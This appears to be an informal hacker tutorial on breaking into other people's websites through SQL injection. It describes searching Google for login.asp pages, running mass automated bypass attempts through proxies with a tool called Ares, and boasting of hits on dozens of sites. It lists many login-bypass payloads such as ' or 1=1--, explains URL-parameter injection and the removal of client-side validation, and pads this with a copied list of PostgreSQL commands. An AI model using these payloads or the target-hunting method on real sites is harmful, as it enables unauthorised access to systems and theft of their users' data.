One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
this tutorial is not going to go into detail on why these string work as am not a coder i just know what i know and it works

SEARCH:

admin\login.asp
login.asp

with these two search string you will have plenty of targets to chose from...finding one thats vulnerable is another question


INJECTION STRINGS:HOW ?

this is the easiest part...very simple

on the login page just enter something like

user:admin (you dont even have to put this.)
pass:' or 1=1--

or

user:' or 1=1--
admin:' or 1=1--

some sites will have just a password so

password:' or 1=1--

infact i have compiled a combo list with strings like this to use on my chosen targets ....there are plenty of strings about , the list below is a sample of the most common used

there are many other strings involving for instance UNION table access via reading the error pages table structure
thus an attack with this method will reveal eventually admin U\P paths...but thats another paper

the one am interested in are quick access to targets

PROGRAM

i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit
of success with a combo list formatted this way,yesteday i loaded 40 eastern targets with 18 positive hits in a few minutes
how long would it take to go thought 40 sites cutting and pasting each string ??

combo example:

admin:' or a=a--
admin:' or 1=1--

and so on...it dont have to be admin can be anything you want... the most important part is example:' or 1=1-- this is our injection
string

now the only trudge part is finding targets to exploit...so i tend to search say google for login.asp or whatever

inurl:login.asp
index of:/admin/login.asp

like this: index of login.asp

result:

http://www3.google.com/search?hl=en&ie=ISO...G=Google+Search

17,000 possible targets trying various searches spews out plent more


now using proxys set in my browser i then click through interesting targets...seeing whats what on the site pages if interesting
i then cut and paste url as a possible target...after an hour or so you have a list of sites of potential targets like so

http://www.somesite.com/login.asp
http://www.another.com/admin/login.asp

and so on...in a couple of hours you can build up quite a list...reason i dont sellect all results or spider for login pages is
i want to keep the noise level low...my ISP.. well enough said...plus atm am on dial-up so to slow for me

i then save the list fire up Ares and enter (1) a proxy list (2)my target IP list (3)my combo list...start..now i dont want to go into
problems with users using Ares..thing is i know it works for me...

sit back and wait...any target vulnerable with show up in the hits box...now when it finds a target it will spew all the strings on that site as vulnerable...you have to go through each one on the site by cutting and pasting the string till you find the right one..but the thing is you know you CAN access the site ...really i need a program that will return the hit with a click on url and ignore false outputs

am still looking....thing is it saves quite a bit of time going to each site and each string to find its not exploitable.

there you go you should have access to your vulnerable target by now

another thing you can use the strings in the urls were user=? edit the url to the = part and paste ' or 1=1-- so it becomes

user=' or 1=1-- just as quick as login process


(Variations)

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

happy hunting

For those of you who dont already know SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user provided parameters, and can therefore embed SQL commands inside these parameters. the result is that the attacker can execute arbitrary SQL queries and commands on the backend database server through the Web application.

A database is a table full of private and public site information such as usernames, products, etc. They are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL web applications interact with databases to dynamically build customized data views for each user.

Data types:
mysql.user
mysql.host
mysql.db
Bypassing login scripts:
SQL injection strings and the DB doesnt matter.

') OR ('a' = 'a
') OR ('1'-'1
'or''='
' OR '1=1
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 *
" or 0=0 *
or 0=0 *
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
' or 1=1--
or a=a--
' or 1=1--
1' having '1'='1'--
' or 'x'='x--
foo'+OR+'1'='1

Note: having 1=1--

Example:

Login: hi'or 1=1--
Password: hi'or 1=1--
SQL commands:
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table

DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transacti
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database


The input validation can also be bypassed bcz of the bad programming techniques.In most of the websites input validation is done at the client end i.e at the browser end using JAVASCRIPT. what u can do is open the page and then save the page in ur hard disk.Then open the HTML page in any HTML editor (say Frontpage or Dreamweaver or even notepad) and delete the code of input validation code of JAVA script and then simply go ahead